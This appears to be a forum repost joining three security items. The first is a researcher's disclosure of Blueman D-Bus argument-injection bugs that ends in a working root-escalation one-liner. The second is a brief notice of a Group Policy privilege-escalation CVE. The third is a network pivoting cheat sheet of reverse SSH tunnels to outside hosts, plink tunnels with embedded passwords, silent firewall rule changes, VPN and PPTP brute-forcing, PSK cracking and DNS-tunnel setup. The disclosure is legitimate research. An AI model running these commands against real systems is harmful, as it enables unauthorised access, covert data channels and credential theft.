execve("/sbin/dhclient-script", ["/sbin/dhclient-script"], 0x55c8e9ae11e0 /* 6 vars */) = 0 [pid 30105] execve("/usr/bin/run-parts", ["run-parts", "--list", "/etc/dhcp/dhclient-enter-hooks.d"], 0x556ae347a3c8 /* 12 vars */) = 0 [pid 30106] execve("/usr/sbin/avahi-autoipd", ["/usr/sbin/avahi-autoipd", "-c", "AAAA"], 0x556ae347acf0 /* 12 vars */) = 0 [pid 30107] execve("/usr/sbin/ip", ["ip", "link", "set", "dev", "AAAA", "up"], 0x556ae3483178 /* 12 vars */) = 0 [pid 30110] execve("/usr/bin/run-parts", ["run-parts", "--list", "/etc/dhcp/dhclient-exit-hooks.d"], 0x556ae34824d8 /* 12 vars */) = 0 Oh my! That's a lot of execution happening in the background. It seems my parameter is used as an argument to dhclient, avahi-autopid and ip. Let's see what we can do with that. I dove into the dhclient manual to see if there are any interesting arguments I could use. The following stood out. -sf script-file Path to the network configuration script invoked by dhclient when it gets a lease. If unspecified, the default /sbin/dhclient-script is used. See dhclient-script(8) for a description of this file. Indeed if I run the command "dhclient -sf /tmp/eye" as root, the dhclient starts running in the background, requests a new DHCP lease and finally runs the shell script "/tmp/eye". Let's see what happens if we try this with our blueman-mechanism method. dbus-send --print-reply --system \ --dest=org.blueman.Mechanism \ /org/blueman/mechanism \ org.blueman.Mechanism.DhcpClient \ string:"-sf /tmp/eye" Well, that failed. Let's see why. From the strace output we notice the following. [pid 30541] execve("/usr/sbin/dhclient", ["/usr/sbin/dhclient", "-e", "IF_METRIC=100", "-1", "-sf /tmp/eye"], 0x7ffe012977c0 /* 4 vars */ <unfinished ...> ... [pid 30542] sendto(3, "<27>Oct 26 10:40:46 dhclient[30542]: Unknown command: -sf /tmp/x", 64, MSG_NOSIGNAL, NULL, 0) = 64 ... [pid 30542] sendto(3, "<27>Oct 26 10:40:46 dhclient[30542]: Usage: dhclient [-4|-6] [-SNTPRI1dvrxi] [-nw] [-p <port>] [-D LL|LLT]\n [--dad-wait-time <seconds>] [--prefix-len-hint <length>]\n [--decline-wait-time <seconds>]\n [--address-prefix-len <length>]\n [-s server-addr] [-cf config-file]\n [-df duid-file] [-lf lease-file]\n [-pf pid-file] [--no-pid] [-e VAR=val]\n [-sf script-file] [interface]*\n dhclient {--version|--help|-h}", 515, MSG_NOSIGNAL, NULL, 0) = 515 The dhclient binary has a very specific way of parsing arguments and as we can see the "-sf /tmp/eye" argument is parsed as a single flag that does not exist. Some binaries would allow "-sf=/tmp/eye" or "-sf/tmp/eye", but the pickiness of dhclient saved the day here, otherwise this would be a very critical bug. Now let's see if we can inject into the arguments of the ip command. dbus-send --print-reply --system \ --dest=org.blueman.Mechanism \ /org/blueman/mechanism \ org.blueman.Mechanism.DhcpClient \ string:"ens33 down" dhclient complains, but the execution continues. [pid 30687] sendto(3, "<27>Oct 26 10:46:05 dhclient[30687]: Error getting hardware address for \"ens33 down\": No such device", 100, MSG_NOSIGNAL, NULL, 0) = 100 Here we see the injection into the ip command. This time our argument is split into multiple arguments, so we can play around a little more with arguments to the ip command. [pid 30694] execve("/usr/sbin/ip", ["ip", "link", "set", "dev", "ens33", "down", "up"], 0x55d963cbd180 /* 12 vars */ <unfinished ...> That's funny, this is actually valid syntax and the interface is kept up. Now, how to get around the up that's added? dbus-send --print-reply --system \ --dest=org.blueman.Mechanism \ /org/blueman/mechanism \ org.blueman.Mechanism.DhcpClient \ string:"ens33 down alias" [pid 30752] sendto(3, "<27>Oct 26 10:51:50 dhclient[30752]: ens33 down alias: interface name too long (is 16)", 86, MSG_NOSIGNAL, NULL, 0strace: Process 30755 attached Ah! This error has dhclient exit with a different return code and the execution flow does not reach the ip command. So we're limited to 15 characters here. But ip also accepts shorthand versions so al is an alias for alias. dbus-send --print-reply --system \ --dest=org.blueman.Mechanism \ /org/blueman/mechanism \ org.blueman.Mechanism.DhcpClient \ string:"ens33 down al" [pid 30888] execve("/usr/sbin/ip", ["ip", "link", "set", "dev", "ens33", "down", "al", "up"], 0x55c24f67f188 /* 12 vars */) = 0 This indeed brings the interface down and creates an alias up for ens33. That is a DoS vulnerability as any low privileged user can trigger this. Let's see if we can find other interesting arguments to the ip command. From the ip-link manual. xdp object | pinned | off set (or unset) a XDP ("eXpress Data Path") BPF program to run on every packet at driver level. ip link output will indicate a xdp flag for the networking device. If the driver does not have native XDP support, the kernel will fall back to a slower, driver-independent "generic" XDP variant. The ip link output will in that case indicate xdpgeneric instead of xdp only. If the driver does have native XDP support, but the program is loaded under xdpgeneric object | pinned then the kernel will use the generic XDP variant instead of the native one. xdpdrv has the op‐ posite effect of requestsing that the automatic fallback to the generic XDP variant be disabled and in case driver is not XDP-capable error should be returned. xdpdrv also disables hardware offloads. xdpoffload in ip link output indicates that the program has been offloaded to hardware and can also be used to request the "offload" mode, much like xdpgeneric it forces program to be installed specifically in HW/FW of the apater. object FILE - Attaches a XDP/BPF program to the given device. The FILE points to a BPF ELF file (f.e. generated by LLVM) that contains the BPF program code, map specifications, etc. If a XDP/BPF program is already attached to the given device, an error will be thrown. If no XDP/BPF program is currently attached, the device supports XDP and the program from the BPF ELF file passes the kernel verifier, then it will be attached to the device. If the option -force is passed to ip then any prior attached XDP/BPF program will be atomically overridden and no error will be thrown in this case. If no section option is passed, then the default section name ("prog") will be assumed, otherwise the provided section name will be used. If no verbose option is passed, then a verifier log will only be dumped on load error. See also EXAMPLES section for usage examples. So I can attach an XDP object to any interface. That would require a little more than 15 characters. How to bring that down? Let's rename the interface first! dbus-send --print-reply --system \ --dest=org.blueman.Mechanism \ /org/blueman/mechanism \ org.blueman.Mechanism.DhcpClient \ string:"ens33 down al" dbus-send --print-reply --system \ --dest=org.blueman.Mechanism \ /org/blueman/mechanism \ org.blueman.Mechanism.DhcpClient \ string:"ens33 name a" dbus-send --print-reply --system \ --dest=org.blueman.Mechanism \ /org/blueman/mechanism \ org.blueman.Mechanism.DhcpClient \ string:"a xdp o /tmp/o" Ok, so now we can attach an XDP object to any interface. I could dive deeper into how XDP and eBPF works and if there would be any security issues related to the fact I can now attach such an object to any interface, but that's a huge new project. If there are any experts out there, please let me know if you manage to get code execution with this method! Finally, I discovered that blueman also supports other DHCP clients. From the blueman code: COMMANDS = [ ["dhclient", "-e", "IF_METRIC=100", "-1"], ["dhcpcd", "-m", "100"], ["udhcpc", "-t", "20", "-x", "hostname", socket.gethostname(), "-n", "-i"] ] for command in self.COMMANDS: path = have(command[0]) if path: self._command = [path] + command[1:] + [self._interface] So if dhclient is not available, but dhcpcd is, we have another possibility to get code execution. Luckily (for us), dhcpcd also has the ability to run a script and is a lot less picky in its argument format. This leaves us with a Local Privilege Escalation oneliner that works on any Ubuntu or Debian system that has dhcpcd instead of dhclient. dbus-send --print-reply --system \ --dest=org.blueman.Mechanism \ /org/blueman/mechanism \ org.blueman.Mechanism.DhcpClient \ string:"-c/tmp/eye" Any unprivileged user can run this and any code put in the shellscript /tmp/eye is run as root! Conclusions There are always bugs out there. Programs like hackerone and bugcrowd are amazing opportunities for companies to tighten their security by offering security researchers substantial amounts of money for reported vulnerabilities. But the open source community needs our help as well. So once in a while, give a shot at it for fun instead of profit. Thanks to the Ubuntu security team and Christopher Schramm, the developer of Blueman, for their quick and friendly response and hard work to fix these issues. Sursa: https://www.eyecontrol.nl/blog/the-story-of-3-cves-in-ubuntu-desktop.html

An elevation of privilege vulnerability exists when Group Policy improperly checks access, aka 'Group Policy Elevation of Privilege Vulnerability'. Sursa; https://github.com/rogue-kdc/CVE-2020-16939

Network Pivoting and Tunneling Guide This is for pure educational & informational purpose. Only use these techniques where allowed or you have permission to do so. Power... Written by Sajal JainOct 22 · 2 min read This is for pure educational & informational purpose. Only use these techniques where allowed or you have permission to do so. Power comes with great responsibility. Port Forwarding – accept traffic on a given IP address and port and redirect it to a different IP address and port apt-get install rinetd cat /etc/rinetd.conf # bindadress bindport connectaddress connectport w.x.y.z 53 a.b.c.d 80 SSH Local Port Forwarding: supports bi-directional communication channels ssh <gateway> -L <local port to listen>:<remote host>:<remote port> SSH Remote Port Forwarding: Suitable for popping a remote shell on an internal non routable network ssh <gateway> -R <remote port to bind>:<local host>:<local port> SSH Dynamic Port Forwarding: create a SOCKS4 proxy on our local attacking box to tunnel ALL incoming traffic to ANY host in the DMZ network on ANY PORT ssh -D <local proxy port> -p <remote port> <target> Proxychains – Perform Nmap scan within a DMZ from an external computer Create a reverse SSH tunnel from the Popped machine on: 2222 ssh -f -N -T -R22222:localhost:22 yourpublichost.example.com ssh -f -N -R 2222:<local host>:22 root@<remote host> Create a Dynamic application-level port forward on 8080 thru 2222 ssh -f -N -D &lt;local host>:8080 -p 2222 hax0r@<remote host> Leverage the SSH SOCKS server to perform Nmap scan on the network using proxy chains proxychains nmap --top-ports=20 -sT -Pn $ip/24 HTTP Tunneling nc -vvn $ip 8888 Traffic Encapsulation – Bypassing deep packet inspection HTTP tunnel On the server-side: sudo hts -F <server ip addr>:<port of your app> 80 On the client-side: sudo htc -P <my proxy.com:proxy port> -F <port of your app> <server ip addr>:80 stunnel Tunnel Remote Desktop (RDP) from a Popped Windows machine to your network Tunnel on port 22 plink -l root -pw pass -R 3389:<localhost>:3389 <remote host> Port 22 blocked? Try port 80? or 443? plink -l root -pw 23847sd98sdf987sf98732 -R 3389:<local host>:3389 <remote host> -P80 Tunnel Remote Desktop (RDP) from a Popped Windows using HTTP Tunnel (bypass deep packet inspection) Windows machine add required firewall rules without prompting the user netsh advfirewall firewall add rule name="httptunnel_client" dir=in action=allow program="httptunnel_client.exe" enable=yes netsh advfirewall firewall add rule name="3000" dir=in action=allow protocol=TCP localport=3000 netsh advfirewall firewall add rule name="1080" dir=in action=allow protocol=TCP localport=1080 netsh advfirewall firewall add rule name="1079" dir=in action=allow protocol=TCP localport=1079 Start the http tunnel client httptunnel_client.exe Create HTTP reverse shell by connecting to localhost port 3000 plink -l root -pw 23847sd98sdf987sf98732 -R 3389:<local host>:3389 <remote host> -P 3000 VLAN Hopping git clone https://github.com/nccgroup/vlan-hopping.git chmod 700 frogger.sh ./frogger.sh VPN Overtaking Identify VPN servers: ./udp-protocol-scanner.pl -p ike $ip Scan a range for VPN servers: ./udp-protocol-scanner.pl -p ike -f ip.txt Use IKEForce to enumerate or dictionary attack VPN servers: pip install pyip git clone https://github.com/SpiderLabs/ikeforce.git Perform IKE VPN enumeration with IKEForce: ./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic Bruteforce IKE VPN using IKEForce: ./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1 Use ike-scan to capture the PSK hash: ike-scan ike-scan TARGET-IP ike-scan -A TARGET-IP ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key ike-scan –M –A –n example\_group -P hash-file.txt TARGET-IP Use psk-crack to crack the PSK hash: psk-crack hash-file.txt pskcrack psk-crack -b 5 TARGET-IPkey psk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134key psk-crack -d /path/to/dictionary-file TARGET-IP-key PPTP Overtaking Identifying PPTP, it listens on TCP: 1723 NMAP PPTP Fingerprint: nmap –Pn -sV -p 1723 TARGET(S) PPTP Dictionary Attack thc-pptp-bruter -u hansolo -W -w /usr/share/wordlists/nmap.lst Port Forwarding/Redirection PuTTY Link tunnel – SSH Tunneling Forward remote port to local address: plink.exe -P 22 -l root -pw "1337" -R 445:<local host>:445 <remote host> SSH Pivoting SSH pivoting from one network to another: ssh -D <local host>:1010 -p 22 user@<remote host> DNS Tunneling dnscat2 supports “download” and “upload” commands for getting iles (data and programs) to and from the target machine. Attacking Machine Installation: apt-get update apt-get -y install ruby-dev git make g++ gem install bundler git clone https://github.com/iagox86/dnscat2.git cd dnscat2/server bundle install Run dnscat2: ruby ./dnscat2.rb dnscat2> New session established: 1422 dnscat2> session -i 1422 DISCLAIMER: Everything is gathered from different web-resources. Parts of the above writeup belong to unknown authors. Written by Sajal Jain Cyber Security Enthusiast | OSCP | CEH | CHFI | CNSS | Masters of IT (Major: IT Security) & Masters of IT Management from the University of Sydney. Sursa: https://catharsis.net.au/blog/network-pivoting-and-tunneling-guide/